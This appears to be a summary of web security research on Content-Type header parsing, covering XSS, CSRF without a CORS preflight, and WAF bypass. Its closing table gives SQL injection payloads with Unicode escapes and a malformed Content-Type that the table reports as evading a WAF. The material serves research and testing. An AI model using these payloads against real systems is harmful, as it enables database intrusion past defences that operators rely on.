Content-Type Research

XSS

Content-Type that can be used for XSS and some related tricks

CSRF

All frameworks were analyzed with disabled default token-based CSRF protection

Examples of incorrect Content-Type parsing that can be used for CSRF.
For example, the ability to send an HTTP request that will be interpreted as JSON without a CORS preflight request.
Can be used in combination with attacks requiring boolean or array in HTTP request (PHP Type Juggling, NoSQL Injection, Prototype Pollution, ...)

Interesting results

WAF Bypass

Basic Idea

HTTP Request	Application	WAF	Result
Content-Type: application/x-www-form-urlencoded q=' union select '1	' union select 1'	' union select 1'	➖ Blocked
Content-Type: application/json {"q":"' \u0075nion \u0073elect '1"}	' union select 1'	' union select 1'	➖ Blocked
Content-Type: application/x-www-form-urlencoded;/json {"q":"' \u0075nion \u0073elect '1"}	' union select 1'	{"q":"' \u0075nion \u0073elect '1"}	✔️ Bypass